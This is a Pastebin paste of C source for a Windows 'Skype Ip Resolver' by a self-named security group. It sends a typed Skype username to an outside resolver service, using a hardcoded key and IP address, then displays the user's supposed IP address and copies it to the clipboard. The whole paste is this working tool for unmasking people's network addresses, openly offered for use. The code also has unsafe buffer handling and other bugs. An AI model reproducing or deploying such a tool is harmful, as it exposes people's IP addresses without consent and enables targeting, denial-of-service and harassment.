Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <string.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <unistd.h>
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- int copyStringToClipboard(char* source) {
- int ok = OpenClipboard(NULL);
- if(!ok) return -1;
- HGLOBAL clipbuffer;
- char * buffer;
- EmptyClipboard();
- clipbuffer = GlobalAlloc(GMEM_DDESHARE, strlen(source) + 1);
- buffer = (char*)GlobalLock(clipbuffer);
- strcpy(buffer, source);
- GlobalUnlock(clipbuffer);
- SetClipboardData(CF_TEXT, clipbuffer);
- CloseClipboard();
- }
- void IpResolver(char *skypeuser)
- {
- WSADATA WSAData;
- int erreur = WSAStartup(MAKEWORD(2,0), &WSAData);
- SOCKET sock;
- SOCKADDR_IN sin;
- char buffer[1024] = "";
- char *url_server = "skype.coleak.com";
- char path[1024] = "/index.php?key=4K9DZ&name=";
- strncat(path,skypeuser,1020);
- /* Si les sockets Windows fonctionnent */
- if(!erreur)
- {
- //On creer la Sockk'
- sock = socket(AF_INET, SOCK_STREAM, 0);
- // Configuration'
- sin.sin_addr.s_addr = inet_addr("184.22.145.70");
- sin.sin_family = AF_INET;
- sin.sin_port = htons(80);
- // Connection
- if(connect(sock, (SOCKADDR *)&sin, sizeof(sin)) != SOCKET_ERROR)
- {
- char commande[1020];
- sprintf(commande,"GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:18\r\n\r\nIdentifiant=Pierre",path,url_server);
- send(sock,commande,strlen(commande)+1,0);
- char response [1020] ="";
- while (recv(sock,buffer, 1024, 0) > 0)
- {
- strncat(response, buffer,1020);
- }
- //On Affiche la reponse GET
- printf("///////////////////////////////////////////////////\n%s\n///////////////////////////////////////////////////", response);
- copyStringToClipboard(response);
- MessageBox(NULL,"Les Informtion Ont été Copié dans le presse papier","Copié",MB_OK | MB_ICONINFORMATION);
- }
- else
- {
- printf("Impossible de se connecter\n");
- }
- //on arrete tout ca :)
- closesocket(sock);
- WSACleanup();
- }
- }
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- enum { ID_LABEL = 1,ID_IMAGE,ID_EDIT,ID_LIST,ID_BUTTON1,ID_COMBO,ID_BUTTON2,ID_BUTTON0,
- ID_BUTTON3,ID_BUTTON4,ID_BUTTON5,ID_BUTTON6,ID_BUTTON7,ID_BUTTON8,ID_BUTTON9,
- ID_BUTTONPLUS, ID_BUTTONMINUS, ID_BUTTONTIME, ID_BUTTONDIVIDE, ID_BUTTONEQUAL};
- LRESULT CALLBACK WinProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
- HINSTANCE g_hInst;
- TCHAR szAppName[] = TEXT("Skype Ip Resolver By Sakiir-Security");
- TCHAR szWinClass[] = TEXT("WIN_CLASS");
- HWND static_label;
- HWND edit;
- HWND list;
- HWND exit11;
- HWND button1;
- int WINAPI WinMain (HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpszArgument,
- int nFunsterStil){
- WNDCLASSA wc;
- MSG msg;
- HWND hwnd;
- g_hInst = hInstance;
- wc.cbClsExtra = 0;
- wc.cbWndExtra = 0;
- wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+5);
- wc.hCursor = LoadCursor(NULL, IDC_ARROW);
- wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
- wc.hInstance = hInstance;
- wc.lpfnWndProc = WinProc;
- wc.lpszClassName = szWinClass;
- wc.lpszMenuName = NULL;
- wc.style = CS_HREDRAW | CS_VREDRAW;
- if( !RegisterClass(&wc))
- {
- MessageBox(NULL, TEXT("Error registering class"), TEXT("ERROR"), MB_OK);
- return 0;
- }
- hwnd = CreateWindow(szWinClass,
- szAppName,
- DS_CENTER,
- CW_USEDEFAULT,
- CW_USEDEFAULT,
- 300,
- 400,
- (HWND) NULL,
- (HMENU) NULL,
- (HINSTANCE) hInstance,
- (void *) NULL);
- ShowWindow (hwnd, nFunsterStil);
- while (GetMessage(&msg, (HWND) NULL, 0, 0))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return msg.wParam;
- }
- HINSTANCE hInst;
- typedef BOOL (WINAPI *ATLWININIT)(void);
- LRESULT CALLBACK WinProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam){
- PAINTSTRUCT ps;
- HDC hdc;
- switch(msg){
- case WM_CREATE:
- static_label = CreateWindow("Static","Please Enter A Skype User",WS_CHILD | WS_VISIBLE,50,15,200,25,hwnd,0,g_hInst,0); ;
- edit = CreateWindow("Edit", NULL,WS_BORDER | WS_CHILD | WS_VISIBLE ,50,45,200,20,hwnd,(HMENU)ID_EDIT,g_hInst,0);
- button1 = CreateWindow("Button","GetSkypeIp",BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE ,50,170,80,80,hwnd,(HMENU)ID_BUTTON1,g_hInst,0);
- exit11 = CreateWindow("Button","Exit",BS_PUSHBUTTON | WS_CHILD | WS_VISIBLE ,200,170,80,80,hwnd,(HMENU)ID_BUTTON2,g_hInst,0);
- case WM_PAINT:
- hdc = BeginPaint(hwnd, &ps);
- EndPaint(hwnd, &ps);
- return 0;
- case WM_COMMAND:
- switch(wParam)
- {
- case ID_BUTTON1:
- {
- char buf[25];
- GetDlgItemText(hwnd,ID_EDIT,buf,20);
- IpResolver(buf);
- }
- break;
- case ID_BUTTON2:
- {
- exit(EXIT_SUCCESS);
- }
- }//switch.
- break;
- case WM_DESTROY:
- PostQuitMessage(0);
- break; // pass to DefWindowProc(...) as well
- case WM_CLOSE:
- DestroyWindow(hwnd);
- break;
- }
- FreeConsole( );
- return DefWindowProc(hwnd, msg, wParam, lParam);}
Add Comment
Please, Sign In to add comment